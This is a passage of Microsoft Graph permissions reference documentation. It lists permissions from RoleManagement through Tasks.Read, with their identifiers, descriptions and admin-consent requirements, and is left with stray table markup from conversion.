    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier274d0592-d1b6-44bd-af1d-26d259bcb43a501d06f8-07b8-4f18-b5c6-c191a4af7a82
    DisplayTextRead and write all Cloud PC RBAC settingsRead and write Cloud PC RBAC settings
    DescriptionAllows the app to read and manage the Cloud PC role-based access control (RBAC) settings, without a signed-in user. This includes reading and managing Cloud PC role definitions and memberships.Allows the app to read and manage the Cloud PC role-based access control (RBAC) settings, on behalf of the signed-in user. This includes reading and managing Cloud PC role definitions and role assignments.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagement.ReadWrite.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8d01b97e9-cbc0-49fe-810a-750afd5527a3
    DisplayTextRead and write all directory RBAC settingsRead and write directory RBAC settings
    DescriptionAllows the app to read and manage the role-based access control (RBAC) settings for your company's directory, without a signed-in user. This includes instantiating directory roles and managing directory role membership, and reading directory role templates, directory roles and memberships.Allows the app to read and manage the role-based access control (RBAC) settings for your company's directory, on behalf of the signed-in user. This includes instantiating directory roles and managing directory role membership, and reading directory role templates, directory roles and memberships.
    AdminConsentRequiredYesYes
    + +

    Permissions that allow granting authorization, such as RoleManagement.ReadWrite.Directory, allow an application to grant additional privileges to itself, other applications, or any user. Use caution when granting any of these permissions.

    +

    With the RoleManagement.ReadWrite.Directory permission an application can read and write /directoryRoles and /roleManagement/directory/*. This includes adding and removing members to and from Microsoft Entra roles, and working with PIM for Microsoft Entra roles APIs.

    +
    +

    RoleManagement.ReadWrite.Exchange

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier025d3225-3f02-4882-b4c0-cd5b541a4e80c1499fe0-52b1-4b22-bed2-7a244e0e879f
    DisplayTextRead and write Exchange Online RBAC configurationRead and write Exchange Online RBAC configuration
    DescriptionAllows the app to read and manage the role-based access control (RBAC) settings for your organization's Exchange Online service, without a signed-in user. This includes reading, creating, updating, and deleting Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.Allows the app to read and manage the role-based access control (RBAC) settings for your organization's Exchange Online service, on behalf of the signed-in user. This includes reading, creating, updating, and deleting Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagementAlert.Read.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieref31918f-2d50-4755-8943-b8638c0a077ecce71173-f76d-446e-97ff-efb2d82e11b1
    DisplayTextRead all alert data for your company's directoryRead all alert data for your company's directory
    DescriptionAllows the app to read all role-based access control (RBAC) alerts for your company's directory, without a signed-in user. This includes reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.Allows the app to read the role-based access control (RBAC) alerts for your company's directory, on behalf of the signed-in user. This includes reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagementAlert.ReadWrite.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier11059518-d6a6-4851-98ed-509268489c4a435644c6-a5b1-40bf-8f52-fe8e5b53e19c
    DisplayTextRead all alert data, configure alerts, and take actions on all alerts for your company's directoryRead all alert data, configure alerts, and take actions on all alerts for your company's directory
    DescriptionAllows the app to read and manage all role-based access control (RBAC) alerts for your company's directory, without a signed-in user. This includes managing alert settings, initiating alert scans, dismissing alerts, remediating alert incidents, and reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.Allows the app to read and manage the role-based access control (RBAC) alerts for your company's directory, on behalf of the signed-in user. This includes managing alert settings, initiating alert scans, dismissing alerts, remediating alert incidents, and reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagementPolicy.Read.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier69e67828-780e-47fd-b28c-7b27d14864e67e26fdff-9cb1-4e56-bede-211fe0e420e8
    DisplayTextRead all policies in PIM for GroupsRead all policies in PIM for Groups
    DescriptionAllows the app to read policies in Privileged Identity Management for Groups, without a signed-in user.Allows the app to read policies in Privileged Identity Management for Groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagementPolicy.Read.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfdc4c997-9942-4479-bfcb-75a36d1138df3de2cdbe-0ff5-47d5-bdee-7f45b4749ead
    DisplayTextRead all policies for privileged role assignments of your company's directoryRead all policies for privileged role assignments of your company's directory
    DescriptionAllows the app to read policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user.Allows the app to read policies for privileged role-based access control (RBAC) assignments of your company's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagementPolicy.ReadWrite.AzureADGroup

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb38dcc4d-a239-4ed6-aa84-6c65b284f97c0da165c7-3f15-4236-b733-c0b0f6abe41d
    DisplayTextRead, update, and delete all policies in PIM for GroupsRead, update, and delete all policies in PIM for Groups
    DescriptionAllows the app to read, update, and delete policies in Privileged Identity Management for Groups, without a signed-in user.Allows the app to read, update, and delete policies in Privileged Identity Management for Groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    RoleManagementPolicy.ReadWrite.Directory

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier31e08e0a-d3f7-4ca2-ac39-7343fb83e8ad1ff1be21-34eb-448c-9ac9-ce1f506b2a68
    DisplayTextRead, update, and delete all policies for privileged role assignments of your company's directoryRead, update, and delete all policies for privileged role assignments of your company's directory
    DescriptionAllows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user.Allows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Schedule.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7b2ebf90-d836-437f-b90d-7b62722c4456fccf6dd8-5706-49fa-811f-69e2e1b585d0
    DisplayTextRead all schedule itemsRead user schedule items
    DescriptionAllows the app to read all schedules, schedule groups, shifts and associated entities in the Teams or Shifts application without a signed-in user.Allows the app to read schedule, schedule groups, shifts and associated entities in the Teams or Shifts application on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Schedule.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb7760610-0545-4e8a-9ec3-cce9e63db01c63f27281-c9d9-4f29-94dd-6942f7f1feb0
    DisplayTextRead and write all schedule itemsRead and write user schedule items
    DescriptionAllows the app to manage all schedules, schedule groups, shifts and associated entities in the Teams or Shifts application without a signed-in user.Allows the app to manage schedule, schedule groups, shifts and associated entities in the Teams or Shifts application on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SchedulePermissions.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7239b71d-b402-4150-b13d-78ecfe8df44107919803-6073-4cd8-bc55-28077db0ee10
    DisplayTextRead/Write schedule permissions for a roleRead/Write schedule permissions for a role.
    DescriptionAllows the app to read/write schedule permissions for a specific role in Shifts application without a signed-in user.Allows the app to read/write schedule permissions for a specific role in Shifts application on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Schedule-WorkingTime.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0b21c159-dbf4-4dbb-a6f6-490e412c716e-
    DisplayTextTrigger working time policies and read the working time status-
    DescriptionAllows the app to trigger the working time policies and read the working time status for other users in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    SearchConfiguration.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierada977a5-b8b1-493b-9a91-66c206d76ecf7d307522-aa38-4cd0-bd60-90c6f0ac50bd
    DisplayTextRead your organization's search configurationRead your organization's search configuration
    DescriptionAllows the app to read search configurations, without a signed-in user.Allows the app to read search configuration, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SearchConfiguration.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0e778b85-fefa-466d-9eec-750569d92122b1a7d408-cab0-47d2-a2a5-a74a3733600d
    DisplayTextRead and write your organization's search configurationRead and write your organization's search configuration
    DescriptionAllows the app to read and write search configurations, without a signed-in user.Allows the app to read and write search configuration, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityActions.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5e0edab9-c148-49d0-b423-ac253e1218251638cddf-07a4-4de2-8645-69c96cacad73
    DisplayTextRead your organization's security actionsRead your organization's security actions
    DescriptionAllows the app to read security actions, without a signed-in user.Allows the app to read security actions, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityActions.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf2bf083f-0179-402a-bedb-b2784de8a49bdc38509c-b87d-4da0-bd92-6bec988bac4a
    DisplayTextRead and update your organization's security actionsRead and update your organization's security actions
    DescriptionAllows the app to read or update security actions, without a signed-in user.Allows the app to read or update security actions, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityAlert.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier472e4a4d-bb4a-4026-98d1-0b0d74cb74a5bc257fb8-46b4-4b15-8713-01e91bfbe4ea
    DisplayTextRead all security alertsRead all security alerts
    DescriptionAllows the app to read all security alerts, without a signed-in user.Allows the app to read all security alerts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityAlert.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiered4fca05-be46-441f-9803-1873825f8fdb471f2a7f-2a42-4d45-a2bf-594d0838070d
    DisplayTextRead and write to all security alertsRead and write to all security alerts
    DescriptionAllows the app to read and write to all security alerts, without a signed-in user.Allows the app to read and write to all security alerts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityAnalyzedMessage.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb48f7ac2-044d-4281-b02f-75db744d6f5f53e6783e-b127-4a35-ab3a-6a52d80a9077
    DisplayTextRead metadata and detection details for all emails in your organizationRead metadata and detection details for emails in your organization
    DescriptionRead email metadata and security detection details, without a signed-in user.Read email metadata and security detection details on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityAnalyzedMessage.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier04c55753-2244-4c25-87fc-704ab82a4f6948eb8c83-6e58-46e7-a6d3-8805822f5940
    DisplayTextRead metadata, detection details, and execute remediation actions on all emails in your organizationRead metadata, detection details, and execute remediation actions on emails in your organization
    DescriptionRead email metadata and security detection details, and execute remediation actions like deleting an email, without a signed-in user.Read email metadata, security detection details, and execute remediation actions like deleting an email, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityEvents.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbf394140-e372-4bf9-a898-299cfc7564e564733abd-851e-478a-bffb-e47a14b18235
    DisplayTextRead your organization's security eventsRead your organization's security events
    DescriptionAllows the app to read your organization's security events without a signed-in user.Allows the app to read your organization's security events on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityEvents.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd903a879-88e0-4c09-b0c9-82f6a1333f846aedf524-7e1c-45a7-bd76-ded8cab8d0fc
    DisplayTextRead and update your organization's security eventsRead and update your organization's security events
    DescriptionAllows the app to read your organization's security events without a signed-in user. Also allows the app to update editable properties in security events.Allows the app to read your organization's security events on behalf of the signed-in user. Also allows the app to update editable properties in security events on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityIdentitiesHealth.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf8dcd971-5d83-4e1e-aa95-ef44611ad351a0d0da43-a6df-4416-b63d-99c79991aae8
    DisplayTextRead all identity security health issuesRead identity security health issues
    DescriptionAllows the app to read all the identity security health issues without a signed-in user.Allows the app to read all the identity security health issues of signed user
    AdminConsentRequiredYesYes
    +
    +

    SecurityIdentitiesHealth.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierab03ddd5-7ae4-4f2e-8af8-86654f7e0a2753e51eec-2d9b-4990-97f3-c9aa5d5652c3
    DisplayTextRead and write all identity security health issuesRead and write identity security health issues
    DescriptionAllows the app to read and write identity security health issues without a signed-in user.Allows the app to read and write identity security health issues on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityIdentitiesSensors.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5f0ffea2-f474-4cf2-9834-61cda2bcea5c2c221239-7c5c-4b30-9355-d84663bfcd96
    DisplayTextRead all identity security sensorsRead identity security sensors
    DescriptionAllows the app to read all the identity security sensors without a signed-in user.Allows the app to read all the identity security sensors of signed user
    AdminConsentRequiredYesYes
    +
    +

    SecurityIdentitiesSensors.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd4dcee6d-0774-412a-b06c-aeabbd99e816087c3ad9-c2ca-4b82-9885-d5e25ce9e183
    DisplayTextRead and write all identity security sensorsRead and write identity security sensors
    DescriptionAllows the app to read and write identity security sensors without a signed-in user.Allows the app to read and write identity security sensors on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityIncident.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier45cc0394-e837-488b-a098-1918f48d186cb9abcc4f-94fc-4457-9141-d20ce80ec952
    DisplayTextRead all security incidentsRead incidents
    DescriptionAllows the app to read all security incidents, without a signed-in user.Allows the app to read security incidents, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SecurityIncident.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier34bf0e97-1971-4929-b999-9e2442d941d7128ca929-1a19-45e6-a3b8-435ec44a36ba
    DisplayTextRead and write to all security incidentsRead and write to incidents
    DescriptionAllows the app to read and write to all security incidents, without a signed-in user.Allows the app to read and write security incidents, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ServiceActivity-Exchange.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2b655018-450a-4845-81e7-d603b1ebffdb1fe7aa48-9373-4a47-8df3-168335e0f4c9
    DisplayTextRead all Exchange service activityRead all Exchange service activity
    DescriptionAllows the app to read all Exchange service activity, without a signed-in user.Allows the app to read all Exchange service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ServiceActivity-Microsoft365Web.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc766cb16-acc4-4663-ba09-6eedef5876c5d74c75b1-d5a9-479d-902d-92f8f99182c1
    DisplayTextRead all Microsoft 365 Web service activityRead all Microsoft 365 Web service activity
    DescriptionAllows the app to read all Microsoft 365 Web service activity, without a signed-in user.Allows the app to read all Microsoft 365 Web service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ServiceActivity-OneDrive.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier57b4f899-b8c5-47c7-bdd3-c410c55602b7347e3c16-30f3-4ac7-9b52-fc3c053de9c9
    DisplayTextRead all One Drive service activityRead all One Drive service activity
    DescriptionAllows the app to read all One Drive service activity, without a signed-in user.Allows the app to read all One Drive service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ServiceActivity-Teams.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4dfee10b-fa4a-41b5-b34d-ccf54cc0c394404d76f0-e10e-460a-92be-ef19600c54d1
    DisplayTextRead all Teams service activityRead all Teams service activity
    DescriptionAllows the app to read all Teams service activity, without a signed-in user.Allows the app to read all Teams service activity, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ServiceHealth.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier79c261e0-fe76-4144-aad5-bdc68fbe403755896846-df78-47a7-aa94-8d3d4442ca7f
    DisplayTextRead service healthRead service health
    DescriptionAllows the app to read your tenant's service health information, without a signed-in user. Health information may include service issues or service health overviews.Allows the app to read your tenant's service health information on behalf of the signed-in user. Health information may include service issues or service health overviews.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The ServiceHealth.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    ServiceMessage.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1b620472-6534-4fe6-9df2-4680e8aa28eceda39fa6-f8cf-4c3c-a909-432c683e4c9b
    DisplayTextRead service messagesRead service announcement messages
    DescriptionAllows the app to read your tenant's service announcement messages, without a signed-in user. Messages may include information about new or changed features.Allows the app to read your tenant's service announcement messages on behalf of the signed-in user. Messages may include information about new or changed features.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The ServiceMessage.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    ServiceMessageViewpoint.Write

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-636e1b0b-1cc2-4b1c-9aa9-4eeed9b9761b
    DisplayText-Update user status on service announcement messages
    Description-Allows the app to update service announcement messages' user status on behalf of the signed-in user. The message status can be marked as read, archive, or favorite.
    AdminConsentRequired-Yes
    +

    personal Microsoft accounts The ServiceMessageViewpoint.Write delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    ServicePrincipalEndpoint.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5256681e-b7f6-40c0-8447-2d9db68797a09f9ce928-e038-4e3b-8faf-7b59049a8ddc
    DisplayTextRead service principal endpointsRead service principal endpoints
    DescriptionAllows the app to read service principal endpointsAllows the app to read service principal endpoints
    AdminConsentRequiredYesYes
    +
    +

    ServicePrincipalEndpoint.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier89c8469c-83ad-45f7-8ff2-6e3d4285709e7297d82c-9546-4aed-91df-3d4f0a9b3ff0
    DisplayTextRead and update service principal endpointsRead and update service principal endpoints
    DescriptionAllows the app to update service principal endpointsAllows the app to update service principal endpoints
    AdminConsentRequiredYesYes
    +
    +

    SharePointTenantSettings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier83d4163d-a2d8-4d3b-9695-4ae3ca98f8882ef70e10-5bfd-4ede-a5f6-67720500b258
    DisplayTextRead SharePoint and OneDrive tenant settingsRead SharePoint and OneDrive tenant settings
    DescriptionAllows the application to read the tenant-level settings of SharePoint and OneDrive, without a signed-in user.Allows the application to read the tenant-level settings in SharePoint and OneDrive on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SharePointTenantSettings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier19b94e34-907c-4f43-bde9-38b1909ed408aa07f155-3612-49b8-a147-6c590df35536
    DisplayTextRead and change SharePoint and OneDrive tenant settingsRead and change SharePoint and OneDrive tenant settings
    DescriptionAllows the application to read and change the tenant-level settings of SharePoint and OneDrive, without a signed-in user.Allows the application to read and change the tenant-level settings of SharePoint and OneDrive on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ShortNotes.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-50f66e47-eb56-45b7-aaa2-75057d9afe08
    DisplayText-Read short notes of the signed-in user
    Description-Allows the app to read all the short notes a sign-in user has access to.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The ShortNotes.Read delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    ShortNotes.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0c7d31ec-31ca-4f58-b6ec-9950b6b0de69-
    DisplayTextRead all users' short notes-
    DescriptionAllows the app to read all the short notes without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    ShortNotes.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-328438b7-4c01-4c07-a840-e625a749bb89
    DisplayText-Read, create, edit, and delete short notes of the signed-in user
    Description-Allows the app to read, create, edit, and delete short notes of a signed-in user.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The ShortNotes.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    ShortNotes.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier842c284c-763d-4a97-838d-79787d129bab-
    DisplayTextRead, create, edit, and delete all users' short notes-
    DescriptionAllows the app to read, create, edit, and delete all the short notes without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Sites.FullControl.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera82116e5-55eb-4c41-a434-62fe8a61c7735a54b8b3-347c-476d-8f8e-42d5c7424d29
    DisplayTextHave full control of all site collectionsHave full control of all site collections
    DescriptionAllows the app to have full control of all site collections without a signed in user.Allows the application to have full control of all site collections on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The Sites.FullControl.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Sites.Manage.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0c0bf378-bf22-4481-8f81-9e89a9b4960a65e50fdc-43b7-4915-933e-e8138f11f40a
    DisplayTextCreate, edit, and delete items and lists in all site collectionsCreate, edit, and delete items and lists in all site collections
    DescriptionAllows the app to create or delete document libraries and lists in all site collections without a signed in user.Allows the application to create or delete document libraries and lists in all site collections on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    Sites.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier332a536c-c7ef-4017-ab91-336970924f0d205e70e5-aba6-4c52-a976-6d2d46c48043
    DisplayTextRead items in all site collectionsRead items in all site collections
    DescriptionAllows the app to read documents and list items in all site collections without a signed in user.Allows the application to read documents and list items in all site collections on behalf of the signed-in user
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Sites.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Sites.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9492366f-7969-46a4-8d15-ed1a20078fff89fe6a52-be36-487e-b7d8-d061c450a026
    DisplayTextRead and write items in all site collectionsEdit or delete items in all site collections
    DescriptionAllows the app to create, read, update, and delete documents and list items in all site collections without a signed in user.Allows the application to edit or delete documents and list items in all site collections on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Sites.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Sites.Selected

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier883ea226-0bf2-4a8f-9f9d-92c9162a727df89c84ef-20d0-4b54-87e9-02e856d66d53
    DisplayTextAccess selected site collectionsAccess selected Sites, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of site collections without a signed in user.  The specific site collections and the permissions granted will be configured in SharePoint Online.Allow the application to access a subset of site collections on behalf of the signed-in user. The specific site collections and the permissions granted will be configured in SharePoint Online.
    AdminConsentRequiredYesNo
    +
    +

    SMTP.Send

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-258f6531-6087-4cc4-bb90-092c5fb3ed3f
    DisplayText-Send emails from mailboxes using SMTP AUTH.
    Description-Allows the app to be able to send emails from the user's mailbox using the SMTP AUTH client submission protocol.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The SMTP.Send delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    SpiffeTrustDomain.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdcdfc277-41fd-4d68-ad0c-c3057235bd8e9b4aa4b1-aaf3-41b7-b743-698b27e77ff6
    DisplayTextRead SPIFFE trust domains and child resourcesRead SPIFFE trust domains and child resources
    DescriptionAllows the app to read your organization's SPIFFE trust domains and child resources without a signed in user.Allows the app to read your organization's SPIFFE trust domains and child resources on behalf of the user.
    AdminConsentRequiredYesYes
    +
    +

    SpiffeTrustDomain.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier17b78cfd-eeff-447d-8bab-2795af00055a8ba47079-8c47-4bfe-b2ce-13f28ef37247
    DisplayTextRead and write SPIFFE trust domains and child resourcesRead and write SPIFFE trust domains and child resources
    DescriptionAllows the app to read and write your organization's SPIFFE trust domains and child resources without a signed in user.Allows the app to read and write your organization's SPIFFE trust domains and child resources on behalf of the user.
    AdminConsentRequiredYesYes
    +
    +

    SubjectRightsRequest.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieree1460f0-368b-4153-870a-4e1ca7e72c429c3af74c-fd0f-4db4-b17a-71939e2a9d77
    DisplayTextRead all subject rights requestsRead subject rights requests
    DescriptionAllows the app to read subject rights requests without a signed-in user.Allows the app to read subject rights requests on behalf of the signed-in user
    AdminConsentRequiredYesYes
    +
    +

    SubjectRightsRequest.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8387eaa4-1a3c-41f5-b261-f888138e60412b8fcc74-bce1-4ae3-a0e8-60c53739299d
    DisplayTextRead and write all subject rights requestsRead and write subject rights requests
    DescriptionAllows the app to read and write subject rights requests without a signed in user.Allows the app to read and write subject rights requests on behalf of the signed-in user
    AdminConsentRequiredYesYes
    +
    +

    Subscription.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5f88184c-80bb-4d52-9ff2-757288b2e9b7
    DisplayText-Read all webhook subscriptions
    Description-Allows the app to read all webhook subscriptions on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    Synchronization.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5ba43d2f-fa88-4db2-bd1c-a67c5f0fb1ce7aa02aeb-824f-4fbe-a3f7-611f751f5b55
    DisplayTextRead all Azure AD synchronization data.Read all Azure AD synchronization data
    DescriptionAllows the application to read Azure AD synchronization information, without a signed-in user.Allows the app to read Azure AD synchronization information, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Synchronization.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9b50c33d-700f-43b1-b2eb-87e89b7035817bb27fa3-ea8f-4d67-a916-87715b6188bd
    DisplayTextRead and write all Azure AD synchronization data.Read and write all Azure AD synchronization data
    DescriptionAllows the application to configure the Azure AD synchronization service, without a signed-in user.Allows the app to configure the Azure AD synchronization service, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    SynchronizationData-User.Upload

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdb31e92a-b9ea-4d87-bf6a-75a37a9ca35a1a2e7420-4e92-4d2b-94cb-fb2952e9ddf7
    DisplayTextUpload user data to the identity synchronization serviceUpload user data to the identity synchronization service
    DescriptionAllows the application to upload bulk user data to the identity synchronization service, without a signed-in user.Allows the app to upload bulk user data to the identity synchronization service, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Tasks.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f45671fb-e0fe-4b4b-be20-3d3ce43f1bcb
